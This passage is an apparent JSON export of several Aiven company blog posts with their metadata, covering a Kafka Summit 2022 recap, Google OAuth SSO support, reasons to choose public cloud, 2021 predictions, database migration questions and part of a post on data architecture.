in different ways, and we at Aiven are no exception.\n\nWe've always been big fans of **Streaming**, the times of night batches are gone and nowadays with [Apache Kafka](https://aiven.io/kafka), [Kafka Connect](https://aiven.io/kafka-connect) with a growing set of connectors and [MirrorMaker 2](https://aiven.io/kafka), developers have all they need to move their data in streaming mode.\n\nWhen talking about **Decentralization** Jay correctly mentioned that the times of unique data pipelines within a company are gone: data is flowing across departments and taking different shapes. It's important to give developers the freedom of choosing the best data platform to fulfil their needs and to enable a fast and reliable connection between services. Need a relational database? pick PostgreSQL® or MySQL. A time series database? There is M3. Search engines? Why not try OpenSearch®! How to connect services? Pick between linear data pipelines with Kafka Connect or add transformation capabilities with Apache Flink®.\n\nThe **Declarative** concept was spot on in my opinion: developers should aim to write code that tells **what** they want to achieve and not **how**. SQL is the perfect language for this, enabling a wide range of developers to describe the shape of the output data without having to worry about what's happening in the back. We are enabling the SQL interface in [Aiven for Apache Flink®](https://aiven.io/flink) to allow data practitioners to define streaming pipelines in the language they love.\n\nThe fourth point Jay mentioned is that tools should be **Developer oriented** and therefore meet developers where they are. This is basically a slogan for Open Source Software that developers can embrace without licensing limits and integrate with their favourite tools. Even more, building managed services and pre-packaged integrations enables developers to spend less time on plumbing allowing them to focus on building.\n\nThe last concept covered during the keynote was about data assets being **Governed \u0026 observable**: in this era of ever growing data, it's easy to lose control over the assets. Therefore developers should have tools to keep an eye on their data landscape, this is where prebuilt [integrations to internal and external services](https://aiven.io/integrations-and-connectors) and an accessible [console](https://console.aiven.io/) can make the difference. We're cooking more on this, so stay tuned!\n\n### Breakout sessions\n\nThe inner beauty of tech conferences lies in the talks and Kafka Summit is no different! An amazing variety of topics ranging from how [Apache Kafka is used in Space](https://www.kafka-summit.org/sessions/kafka-in-space) to the details on [how to contribute to Apache Kafka](https://www.kafka-summit.org/sessions/developers-guide-to-contributing-code-to-kafka) gave attendees plenty of options to dig more into the Kafka world.\n\nWe attended several sessions and enjoyed particularly:\n\n* [Keep Your Cache Always Fresh with Debezium!](https://www.kafka-summit.org/sessions/keep-your-cache-always-fresh-with-debezium) by\nGunnar Morling going over using Kafka and the Debezium connector to keep a cache fresh, with a detailed example based on Infinispan. It's incredible how Gunnar manages to include soooooo much information in 45 minutes, definitely a session to watch, rewatch and rewatch again to grasp all the bits!\n* [Bringing Kafka Without Zookeeper Into Production](https://www.kafka-summit.org/sessions/bringing-kafka-without-zookeeper-into-production) by Colin McCabe covering a topic we'll see more and more in the future with Zookeper-less Kafka.\n* [Practical Pipelines: A Houseplant Soil Alerting System with ksqlDB](https://www.kafka-summit.org/sessions/practical-pipelines-a-houseplant-soil-alerting-system-with-ksqldb) by Danica Fine showing a real example of a streaming application to save plants' lives. From the plumbing of IoT devices and a Raspberry PI, to the alerting threshold definition and the streaming calculations, Danica showed a complete example of an end-to-end streaming data pipeline.\n\nAs Aiven we did our part in the show with Olena Babenko sharing several tips on how to optimise [Apache Flink applications over Kafka](https://www.kafka-summit.org/sessions/tips-for-apache-flink-on-kafka). Olena covered important topics like when to choose Flink vs Kafka connectors, how to manage imbalanced topics and how to understand if Flink is behaving well.\n\n\u003c!-- ![Olena on stage](olena.jpeg) --\u003e\n\u003c!-- Contentful asset link --\u003e\n![Olena on stage](//cdn.sanity.io/images/sczeoy4w/production/705cdfb7c3c1f21ee80f3bda29a45ed2c675ac78-1021x430.jpg)\n\nYours truly was also speaking with a talk aimed at [understanding the limits of the JDBC connector and how the Debezium connector can save the day](https://www.kafka-summit.org/sessions/jdbc-source-connector-what-could-go-wrong) sharing the real story of a friend called Mario.\n\n\u003c!-- ![Francesco on stage](francesco.jpg) --\u003e\n\u003c!-- Contentful asset link --\u003e\n![ Francesco on stage](//cdn.sanity.io/images/sczeoy4w/production/063887a2878e3d4f7e29b958b180d59f5d90e6e4-2016x866.jpg)\n\nOur booth was very busy during the event with several people being interested in knowing what Aiven is about and our story on Apache Kafka. Also, looks like our socks and stickers rock, crabby FTW!\n\n\u003c!-- ![Booth with socks](booth.jpg) --\u003e\n\u003c!-- Contentful asset link --\u003e\n![Booth with socks](//cdn.sanity.io/images/sczeoy4w/production/a1e3a626378ef2b85a3010f268925825e43ef8ab-689x484.jpg)\n\n### Community\n\nThe magic fact happened towards the end of each session. Questions, interactions, one-to-ones, networking: all the things we missed from in-person conferences were back enabling people to interact with each other and feel the sense of community that online events can hardly deliver. I had the pleasure of meeting IRL people that I've been interacting with for years on social media, and make connections with new interesting humans.\n\nMeeting people with similar interests (can go from Kafka to anything else) can create strong and lasting bridges!\n\n\u003c!-- Contentful asset link --\u003e\n\u003e [![Viktor Gamov and Olena Babenko](//cdn.sanity.io/images/sczeoy4w/production/e2df684e3fd8db097482381a6c417a3d7ce6c991-425x567.jpg)](https://twitter.com/gAmUssA/status/1518624749194293248)\n\u003e\n\u003e \"Setting the fashion trends in [#kafkasummit](https://twitter.com/hashtag/kafkasummit) since 2017. At [@aiven_io](https://twitter.com/aiven_io) booth, Viktor Gamov 🦍 (@gAmUssA) [April 25, 2022](https://twitter.com/gAmUssA/status/1518624749194293248)\"\n\n### Future of Kafka Summit\n\nWhat will be the future? As originally written by Franz Kafka, “things sometimes change shape”. This also applies to Kafka Summit: the next conference is going to be called \"Current\" and open to a broader set of technologies in the data streaming world! The [Call for Papers](https://sessionize.com/current-2022/) is already open, and we are really looking forward to it!\n","categories":[{"_key":"55hnoBwSNkFBrvJaZvuhgt","_ref":"55hnoBwSNkFBrvJaZvuhgt","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"1wgqjrglPyMfEWcMYN3YcQ","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-ae12cb16f157392e104097030b5b13ee3fbdc66c-1567x844-png","_type":"reference"}},"publishedAt":"2022-05-05T00:00:00.000Z","seo":{"metaDescription":"Read on to find out about the best bits of this year's London Kafka Summit, back as an in-person event.","metaImage":{"alt":"","asset":{"_ref":"image-ae12cb16f157392e104097030b5b13ee3fbdc66c-1567x844-png","_type":"reference"}},"metaTitle":"Looking back at Kafka Summit 2022 London"},"slug":{"_type":"slug","current":"/blog/kafka-summit-2022-recap"},"subtitle":"Read on to find out about the best bits of this year's London Kafka Summit, back as an in-person event.","title":"Looking back at Kafka Summit 2022 London"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6KOi4enWjIsDBm81fQ6pRj","_rev":"CK1sLU2mnwa3vmbYWEatMB","_type":"post","_updatedAt":"2022-09-08T16:15:40Z","authors":[{"_key":"LFe7wYXE7xFFvwFXOIwwX","_ref":"LFe7wYXE7xFFvwFXOIwwX","_type":"reference"}],"body":"Users can now use their personal and corporate Google account credentials to sign up and access the Aiven platform through Google OAuth Single Sign-On (SSO), making account management much simpler and efficient.\n\n[With over 4 million organizations using G Suite](https://www.reuters.com/article/us-alphabet-gsuite/googles-g-suite-is-no-microsoft-killer-but-still-winning-converts-idUSKBN1FL3ZX), this was a bit of a no brainer—especially when coupled with the fact that companies are using anywhere from a couple to over 100 applications, depending on company size.\n\n\u003e That makes username and password management extremely complex.\n\nGoogle SSO goes a long way in removing this. But, what’s really cool about supporting it on the Aiven platform is that signing up and logging in can now be handled in a similar way to launching services: __with the click of a button.__\n\n![Signing up to Aiven with Google OAuth SSO](//cdn.sanity.io/images/sczeoy4w/production/3d98af88665183f85724e09ec59c626584059450-902x759.png)\n\nAnd we’re not finished, Google SAML is next. So, enjoy your new streamlined process and don’t forget to stay up-to-date with Aiven news by signing up to our [changelog](/changelog/feed.xml) and [blog](/blog/feed.xml) RSS feeds or following us on [Twitter](https://twitter.com/aiven_io) or [LinkedIn](https://www.linkedin.com/company/aiven/).\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3hq53G6n8APkncElOzXCgv","_ref":"3hq53G6n8APkncElOzXCgv","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-b2a3cf31da8861a41f509522164042c29d7d55b9-752x405-png","_type":"reference"}},"publishedAt":"2019-03-08T00:00:00.000Z","seo":{"metaDescription":"We're excited to announce that Aiven now supports Google Oauth SSO. Check out this post to get more information on why this is important.","metaImage":{"alt":"","asset":{"_ref":"image-b2a3cf31da8861a41f509522164042c29d7d55b9-752x405-png","_type":"reference"}},"metaTitle":"Aiven now supports Google OAuth SSO"},"slug":{"_type":"slug","current":"/blog/aiven-now-supports-google-oauth-sso"},"subtitle":"We're excited to announce that Aiven now supports Google Oauth SSO. Check out this post to get more information on why this is important.","title":"Aiven now supports Google OAuth SSO"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"UnSbtfuJBy9Px9UJftBUd","_rev":"rmwlP4nleGzuGoL3W8oLNQ","_type":"post","_updatedAt":"2023-05-16T11:21:16Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Implementing your online, globally accessible service can seem daunting. Especially if your background is in the traditional industries, your first instinct may be to go DIY. You buy the hardware and software, set up the connections, install everything, and hope that everything comes together on launch day.\n\nThis is certainly a valid approach in certain circumstances. If you’re doing gene sequencing or storing sensitive surveillance data for the defence forces, your particular situation is rare or unique. Then it might make sense to build your own environment and store your own data at a location that no one can get to. And then this article is not for you.\n\nThis article is for the rest of us with less specialized data system needs. Most companies are able find someone who already provides what you’d otherwise need to build.\n\n(Note: to get more familiar with the terminology, why not check out our article [Public v. private clouds - what’s the difference?](https://aiven.io/blog/public-v-private-clouds-whats-the-difference)\n\nSo let’s see: what are some of the best reasons to build on top of a public cloud service?\n## 1. Lower Total Cost of Ownership\nSaving money is usually a solid business decision. The total cost of ownership over the lifetime of a service is lower for a public cloud service. \n\nIn a public cloud service, the focus of your company can stay where it belongs: your core business. Without having to buy hardware and licenses, or budget for upgrades and maintenance. Maintenance, scaling and upgrades don’t involve downtime and work. That work can now go into your own products and services and generate revenue.\n## 2. Only pay for what you use\nYes, more money savings! With a public cloud service you’re only paying for what you use. You’re not paying for downtime, whether planned or unplanned. You’re not paying for extra capacity. You’re not paying for redundancy in case of failure. You’re only paying for the time that your services are actually running.\n## 3. Easy to set up\nAnd a third way to save money, we’re on a roll here. The savings start on day 1, when you don’t need an army of admins and developers to set up your system. Sure, there’s some planning and stuff involved, but the actual setup? A piece of cake. At Aiven, for example, it takes a total of three (3) clicks to get a new service up and running. (Yes, we counted.) \n\nAnd even after the setup phase, you need fewer workers on your payroll to maintain and troubleshoot the system. This means less investment both salary-wise and in training costs.\n## 4. No maintenance\nA public cloud service is maintenance-free for you. You know the mythical “Someone Else” that you wish would handle all the boring stuff? We have that famous Someone Else on staff to take it off your hands. \n\nWhat’s more, that Someone has training and experience in maintaining that particular system.\n## 5. Better security\nA part of the hassle of maintaining your in-house systems is data security. Not only do you have to make sure that all the latest security patches are in place. You also need to make sure that all data is encrypted in traffic, as well as during storage. Going with a public cloud service means that’s another line item in your budget that you can cross out.\n\nAnd if your business requires compliance certifications (such as PCI-DSS), a public cloud provider is better placed to apply for them. [Certification is another pain you can do without](https://aiven.io/blog/data-security-compliance-in-the-cloud \"Data security compliance in the cloud\").\n## 6. Best uptime\nA public cloud service offers better uptime than a proprietary system. They have to, because it’s literally the cloud company’s business to make sure that their services stay up. Their army of engineers, thoroughly familiar with their systems, will descend on any issue without delay and blow it out of the water. Kapow!\n## 7. No-risk failure\nIt’s true that the issues may sometimes stymie even the expert company. But remember: as their customer, that risk is not yours. \n\nYou have an SLA in place guaranteeing a certain amount of uptime (99.99% for Aiven). The cloud company will also compensate you for any downtime that exceeds it. \n## 8. No long contracts\nLong-term solutions can be a pain. What started out as a great answer to your needs may morph into a problem of its own. A software product may be updated in a way that doesn’t fit your business model. Or you may find that the business landscape changes and your service needs to change as well. \n\nAt the same time, new products and services come on the market that you’d like to try out, but you’re not going to fork out the price of two solutions at once. \n\nA public cloud service won’t lock you into a solution that has become suboptimal. And if you’ve stayed on the open source side of the business, your data will remain easy to migrate to a new system if the need arises.\n## 9. Easy to scale up or down\nIn a DIY system, scaling is often a problem. When you plan your setup, you base your requirements on your best guess for greatest required throughput. As a result, you may end up either with extra capacity or a mad scramble for more servers. It’s pretty much down to luck. \n\nBrief usage peaks also mess with capacity requirements. If your service isn’t reachable at a time when lots of users want to access it, you lose goodwill that’s hard to build back up. At the same time, you don’t want to be paying for capacity that you’ll only use 1% of the time.\n\nA public cloud service lets you adjust your plan according to usage at short notice. You can easily add or drop capacity, and immediately reap the benefits.\n## 10. Easy to respond to changing business needs\nA public cloud service is flexible in ways other than capacity, too. Few companies and businesses stay the same over time. Disruptive change can occur overnight or in small increments, and proprietary systems add serious inertia. At best, it can compromise your company’s ability to react to change. At worst, it can be a major reason why you can’t be the one leading the change. \n\nIf you subscribe to a public open source service, you can adjust the type and scope of the service to match new business needs. And it won’t take long.\n## 11. New features available quickly\nAnother great characteristic of public cloud services is that they adopt the latest features and technologies very rapidly. This is especially true in the open source world. Proprietary solutions take their own sweet time in adopting new capabilities. The more closed the ecosystem is, the longer the features are in coming. \n\nIn a public cloud, you can pick and choose among the best new innovations. They can support your business model or even allow you to create your own business innovations on top.\n## 12. Global access out of the box\nA significant issue with on-premises setups and also with proprietary cloud solutions is how to provide access for a global user base. There are often security considerations in setting up firewalls and access control. Sometimes this results in a clunky mess of user groups and inter-site access points. \n\nPublic clouds are designed from the ground up for global access and easy user management. Their network of servers can accommodate users all over the world from day one.\n\n## Wrapping up\nWhen you invest in a proprietary system, bear in mind that you are carrying all the risk in that purchase. Those systems are pricey, too, so the risks are significant and real. \n\nTo reach your business goals faster with more flexibility and lower risk, subscribe to a public cloud service. You won’t regret it.\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"},{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-886be4a69dd3ff230caa16f7fd36c01bd2a6e5f5-1567x844-png","_type":"reference"}},"publishedAt":"2021-01-04T00:00:00.000Z","seo":{"metaDescription":"If your company is still “on-prem”, you might be missing out big time and paying too much for the privilege! Read why you should leap into the public cloud.","metaImage":{"alt":"","asset":{"_ref":"image-886be4a69dd3ff230caa16f7fd36c01bd2a6e5f5-1567x844-png","_type":"reference"}},"metaTitle":"12 reasons you(r boss) should choose a public cloud service"},"slug":{"_type":"slug","current":"/blog/12-reasons-you-should-choose-a-public-cloud-service"},"subtitle":"If your company is still “on-prem”, you might be missing out big time and paying too much for the privilege! Read why you should leap into the public cloud.","title":"12 reasons you(r boss) should choose a public cloud service"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"4EwGrKk21LAfgMwBwWlc8Z","_rev":"7zkUzK17nyKradHQJFmKUU","_type":"post","_updatedAt":"2023-05-15T12:59:14Z","authors":[{"_key":"2CAEpbT3LuYkmPFk5o0m1L","_ref":"2CAEpbT3LuYkmPFk5o0m1L","_type":"reference"}],"body":"Here’s a snapshot of what I have in mind:\n\n## 1. Open source adoption will continue to accelerate\n\nThere’s no doubt that open source software made significant strides last year:\n\n__Doubling down on security:__ Microsoft, Google, IBM and other tech leaders [co-founded ](https://www.microsoft.com/security/blog/2020/08/03/microsoft-open-source-security-foundation-founding-member-securing-open-source-software/ \"Microsoft Joins Open Source Security Foundation\")the Open Source Security Foundation to provide visibility and resources to the security considerations for open source projects. \n\n__Fighting against COVID-19:__ When the pandemic started, the community reacted quickly by disseminating data under the open model and by creating dashboards and apps to track the progression of the virus. DP3T or Decentralized Privacy-Preserving Proximity Tracing, was designed in the open to ensure the right balance between privacy and effectiveness on tracking contact technology. And building on top of this technology, Apple and Google came together in the fight against COVID-19 by providing a common API to enable creation of standard applications by health authorities around the world. At the beginning of the pandemic, there was a surge of open hardware designs for ventilators and other critical equipment that was in short supply.\n\n__Combating climate change:__ The Linux Foundation also [launched](https://www.linuxfoundation.org/press-release/new-lf-climate-finance-foundation-to-host-open-source-initiative-to-address-climate-risk-and-opportunity-in-financial-sector/ \"Foundation to Host Open Source Initiative to Address Climate Risk and Opportunity in Financial Sector\") the LF Climate Finance Foundation, leveraging open source tools in an effort to combat climate change.\n\nWe’ll continue to see an accelerated rate of open source adoption in 2021. And the truth is, the benefits outweigh the difficult skill sets it takes to use these technologies. We still have a massive number of companies making the transition to the cloud, and open source will play a big role in that adoption during their digital transformations. Which leads me to my next prediction...\n\n## 2. The cloud market will experience both transformation and disruption\n\nIt’s difficult to talk about the cloud without mentioning some of the industry giants who power it. And in a year like 2021, it will be nearly impossible. [Forrester predicts](https://www.forrester.com/blogs/predictions-2021-cloud-computing-powers-pandemic-recovery/ \"Forrester Predictions 2021: Cloud Computing Powers Pandemic Recovery\") the global public cloud infrastructure market will balloon in 2021 – seeing 35% growth and reaching $120 billion. At Aiven, we’re interested to see if this estimate turns out to even be too low, since we’ve recently seen an enormous demand for public cloud usage – much of which can be attributed to the business agility benefits associated with cloud transformation.\n\nIt’s fair to assume that AWS, Azure and GCP will dominate the market, but we’re eager to see what other challengers like IBM and OVH have to offer. While it may seem unlikely, it will be interesting to see if any of the major cloud providers follow IBM and separate their cloud service from the rest of the business. \n\nAll this talk about public cloud growth means digital transformation is right there with it. Businesses are leaning on technologies that mesh well with cloud adoption. So similarly, we’ll see the growth of digital concepts and solutions like IoT and containerization skyrocket across various industries. The growth of IoT and smart devices will continue rapidly in 2021, dependent on where sensors are able to be placed and what kind of data we can collect and turn into additional insights. With everything being more connected, it is safe to assume continuous increase in demand for analytical capabilities.\n\n## 3. Made-to-measure databases will be in high demand \n\nThe onslaught of data in 2021 will reveal a vast need for made-to-measure databases. My colleagues and I agree – time series databases will be in high demand this year and will continue to be the fastest growing segment of databases going into 2021. While there is plenty of space for several successful entrants into the market, we’ll also see an increase in adoption of common standards like OpenTelemetry in this space. That said, the launch of our 9th managed service, [Aiven for M3](https://aiven.io/press/aiven-bets-on-time-series-with-release-of-first-of-kind-aiven-for-m3 \"Aiven for M3\"), was a prediction in and of itself – Aiven’s products reflect customer needs. \n\n## 4. Industries will lean on managed services more than ever \n\nAs we've seen in the recent years, the digitalization trend continues to reshape business and markets. The winners in this transformation are the most agile and adapting organizations. Demand for managed services will remain strong, and will play a key role in enabling resources being focused on the business critical tasks and development.\n\nConsumers increasingly expect to be able to place orders or conduct their business at any time of the day, putting pressure on maintaining service levels around the clock on every day of the year.\n\nHaving been named an IDC Innovator in 2020, Aiven is proud to be at the forefront of those who help manage greater and greater amounts of data demanded by the data driver business.","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-b6d12b82ca6d2e3e6bd2fb2fc5dbd3b08e5037f6-1567x844-png","_type":"reference"}},"publishedAt":"2021-04-15T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Our entire industry has seen exciting momentum already in Q1 of this year. Curious to know what you should keep on your radar in the months ahead? ","metaImage":{"alt":"","asset":{"_ref":"image-b6d12b82ca6d2e3e6bd2fb2fc5dbd3b08e5037f6-1567x844-png","_type":"reference"}},"metaTitle":"CTO Predictions: Open Source, Cloud Growth \u0026 Beyond"},"slug":{"_type":"slug","current":"/blog/cto-predictions-the-future-of-open-source-cloud-growth-and-more"},"subtitle":"Our entire industry has seen exciting momentum already in Q1 of this year. Curious to know what you should keep on your radar in the months ahead? ","title":"CTO predictions – The future of open source, cloud growth and more"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"3zm37hQBt5gPDMTPFPYi7g","_rev":"j5OhKGUVbND2aFEj9l9zPA","_type":"post","_updatedAt":"2023-05-16T11:23:03Z","authors":[{"_key":"6lMlSgJEYuohRrYw7zGkl8","_ref":"6lMlSgJEYuohRrYw7zGkl8","_type":"reference"}],"body":"If you're here, chances are that your database environment is no longer meeting your needs. Maybe you've been researching how to move your data and your functionality somewhere else. Perhaps you need more flexibility? Is the uptime not what it should be? The maintenance load getting to your team? Whatever the reason, you've concluded that you need a new managed database. Good, chances are we agree!\n\nBut slow down for a minute. Database migration is a complex process. Not only you need to ensure that the data is replicated correctly. You also need to minimize downtimes for your critical applications.\n## Five questions about moving to the cloud\nIt’s not possible to compare all the database migration tools in this blog. The 5 questions we're about to cover should help you in your research, and plan a migration that achieves your goals.\n### 1. What's the source and what's the target?\nAre you doing a homogeneous migration (same source and target database) or heterogeneous (different source and target databases) migration? This has implications for the amount of engineering and testing the process requires. \n\nIn a heterogenous migration, you may need to modify the SQL, migrate the code, convert schemas, and that's all in addition to the actual data migration.\n### 2. Can you handle downtime?\nYou can't do migration with zero downtime. That's a given. But with planning and fine-tuned timing, you can cut down on the length and mitigate the effects.\n\nIf you can't afford major downtime, plan a [blue-green strategy](https://stackoverflow.com/questions/45259589/whats-the-difference-between-red-black-deployment-and-blue-green-deployment), where the old and the new database instances run in parallel for a while. Do enough testing to to ensure the new database is working as expected. Then when everything is ready, close existing connections to the source databases and create new connections to the target databases. This switch is almost instantaneous. \n\nThe \"almost\" in the previous sentence means that some customers might experience issues. If this creeps you out, keep in mind the additional infrastructure costs of maintaining two databases. And of course the reasons you're switching in the first place!\n\nIf significant downtime is acceptable, you can make the switch without having two databases running at the same time. For example, you might not require data modification. There may be no need for schema changes. In this case, you can make the switch without any additional data infrastructure costs.\n### 3. Are changes needed to the application code?\nConsider if the state of the target database will be the same as the source database post migration. If not, it means spending more time and effort to make changes in application code.\n\nEspecially in heterogeneous database migrations, the schemas will be different the source and target databases. This will require changing your application queries. Be sure to budget time for this in advance.\n### 4. What support is available for your migration toolkit?\nThere might be different database migration tool options available. What is the level of maturity and the amount of support provided for a given tool? \n\nRemember, if things can go wrong (and they probably will), you'll need some help fighting the fire.\n\nThis help can take different forms. It may mean finding solid documentation for your migration toolkit. Or it may mean picking up the phone and troubleshooting your case with your managed service support. \n\nChoose the tool (and associated support) that’s right for your level of database migration expertise.\n### 5. Is your migration toolkit secure?\nConsider how the preferred tool handles data security during the migration process. Is the data encrypted in motion? \n\nAnd when everything's done, how do you safely destroy the data from the source database? Don't forget this important step. \n## Tip: an open source tool for moving PostgreSQL databases\nHere at Aiven we've created an open-source tool to easily migrate PostgreSQL databases. It helps in moving to Aiven from other database service providers, like AWS RDS, or from on-premises data centers. Check it out at [Aiven DB Migrate](https://github.com/aiven/aiven-db-migrate). \n\nHowever, __the tool is not limited to Aiven services__ - feel free to use it for all your PG database migration needs!\n## Wrapping up\nIf you're ready to move to a different provider (hopefully [Aiven](https://console.aiven.io/signup/email) :D), this article listed some factors to consider. We hope you have a secure and effective migration!\n\nIf you've already gone through the database migration process and would like to share some tips, please [tweet to let us know](https://twitter.com/aiven_io)!\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts. \n\nAnd to get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)!","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-fd29f03f0c266ea16b819260a2b10c3cce4e2a76-3133x1688-png","_type":"reference"}},"publishedAt":"2022-05-13T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Wherever your database migration from on-prem to a managed cloud service starts, the big questions are pretty similar. Start figuring it out right here.","metaImage":{"alt":"","asset":{"_ref":"image-fd29f03f0c266ea16b819260a2b10c3cce4e2a76-3133x1688-png","_type":"reference"}},"metaTitle":"Questions to Ask Before Migrating Your Database: A Guide"},"slug":{"_type":"slug","current":"/blog/5-good-questions-to-ask-before-moving-your-database"},"subtitle":"Wherever your database migration from on-prem to a managed cloud service starts, the big questions are pretty similar. Start figuring it out right here.","title":"5 good questions to ask before migrating your database (and answers too)"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"4Xj27YSQq0uEIL5vRAWMsu","_rev":"2TBrbODd4ENN9GFOVLnjcb","_type":"post","_updatedAt":"2023-08-03T10:37:07Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Have you been to Venice? It’s *soooo* beautiful. There are hundreds of graceful bridges, countless churches and palaces from the awesome to the charming. The city's canals, filled with iconic gondolas, stir the heart. If you pick your time right, you can even do your sightseeing without being mobbed by thousands of other tourists. In fact, outside of the tourist season, it’s a very quiet city. \n\nLike… really quiet. \n\nThat’s because not a lot of people actually choose to live in Venice. The roads are uneven, the buildings aren’t readily wheelchair and pushchair accessible, the plumbing sucks and heating is hard to install in those old buildings. The scenic canals actually stink. What’s more, the city has to contend with regular flooding, getting more severe as climate change progresses. Don’t get me wrong, I love Venice, but the city that was once called the Queen of the Adriatic wouldn’t merit that title today.\n\nNow with that image in mind, think about your company’s data architecture. Are you seeing any similarities? Structures that no longer match your company’s modern needs? Stagnant information flows? Awkward routing between destinations? Cobbled-together data highways? If your data is living in a digital Venice, it’s time to make a change! \n## A look at classical data architecture\nData architecture refers to your data environment, and how it’s designed to store and move bytes of information to support your business goals. It encompasses the products and tools you use to manage data, as well as the processes designed to deliver that data to business users in ways and forms that are useful and convenient for them. \n\n(This is as opposed to a data platform, which is the database engine itself and the dataset creation framework. It's the hard technological core, if you will, of the data architecture.)\n\nThe classical take on data architecture is the data warehouse: a static structure designed by the IT department. It houses all the data that accumulates during business operations. If done well, it can provide tailored data streams for reporting and analysis purposes; if done poorly, a glorified data dump. In any case it needs a lot of maintenance and upgrading and it isn’t very flexible or responsive. \n\nIn classical data architecture, the focus falls on maintenance and day-to-day operations like server maintenance, upgrades and access management. There are limited resources for implementing business-driven changes. On a high level, this results in a lack of responsiveness to business requirements. The world moves on, while your business intelligence systems keep doing the same old thing. \n\nAnd that thing is old. No business can, nor should they try to, foresee what kind of system they’ll need in ten years’ time. The way to do good business is not to hazard guesses and bet money on them but to be responsive to change that is actually happening in the present moment.\n\nOn a more practical level, the lack of flexibility impacts what types of data can be ingested and the data sources that the system can utilize. With the classical approach, most data streams originate within the organisation. This is because using external data sources is complex and may pose security issues. \n\nA classic corporate warehouse can't really handle new types of data, like social media or IoT, that are expressed with nested structures. At least not well, and not without major reworking. Companies can choose between not using new datasets, or building long pipelines to handle them. But pipelines are fragile, and a minimal change in the source data format can have a drastic impact downstream.\n\nBeing inflexible also means that it’s hard to use existing data for new purposes. As time goes on, you’ll discover the need for new types of analytics and outputs. Building on top of the current system will only take you so far.\n\n## Modern architecture for a modern world\nRebuilding an old data architecture into a modern one is hard. It means creating not just the technological infrastructure but also new processes, new tools, and a new culture for how data is conceptualized and utilized.\n\nNow that you’ve hopefully decided to invest your time and effort and funds more productively, it’s time to start planning. \n\nPlanning always starts by knowing where you’re going. Start with the needs of the people who use your data--customers and business users--and build back towards the data sources. Ask the users (or failing that, ask yourself on the users’ behalf) what they need in order to grow your business and be responsive. Ask customers what they want and need in the real world. Only then start thinking where you’ll get the data to do that.\n\nKeep your ultimate goal in mind every step of the way: an architecture that is \n- flexible\n- extendable\n- collaborative\n- resilient\n- secure\n- and simple to maintain.\n\nFor that, you want something that isn’t Renaissance Venice. Instead, how about implementing a lean, clean, minimalist design? And honestly, nothing is as lean, clean and minimalist as a managed open-source cloud-based database service designed by a company from Finland! \n\n### Secure base\nConsider security from two perspectives. Firstly, access rights: how you are planning to make sure that the right people, and only the right people, have access to the data that they need in a timely fashion. And secondly, how you plan to defend against outside attacks.\n\nIt is worth noting that [open source offers better security than proprietary solutions](https://medium.com/@mcccccc/is-open-source-software-more-reliable-or-secure-than-closed-source-software-5470732d7b90 \"Link to Medium.com article\"). It is true that there are several legitimate security concerns about outside attacks when using cloud services. However, they are counterbalanced by the advanced user management they usually offer. The risks are relatively easy to offset by [signing up with a managed open source cloud database like Aiven](https://console.aiven.io/signup \"Link to the Aiven free trial signup page\") who [takes security issues seriously](https://aiven.io/security-compliance \"Link to Aiven's security compliance page\") and can offer you a safe home base.\n### Flexible structures\nYou want your data architecture to be easily scalable and extendable to keep your business agile and responsive. A quality DBaaS gives you the freedom and flexibility to scale up and down with changing capacity needs. You also only pay for the capacity that you’re actually using. \n\nWith a DBaaS, too, or at least with Aiven, you can easily add more services to your plan. This lowers the threshold to try out new features and capabilities, staying on top of business trends. If not a managed service, at least go for open source. It leaves you much more freedom to build up a comprehensive service stack due to the absence of proprietary connectors and APIs.\n\nThe use case itself should govern the choice of the target datastore (usually a choice between relational and no-SQL key-value databases). Don’t be limited by 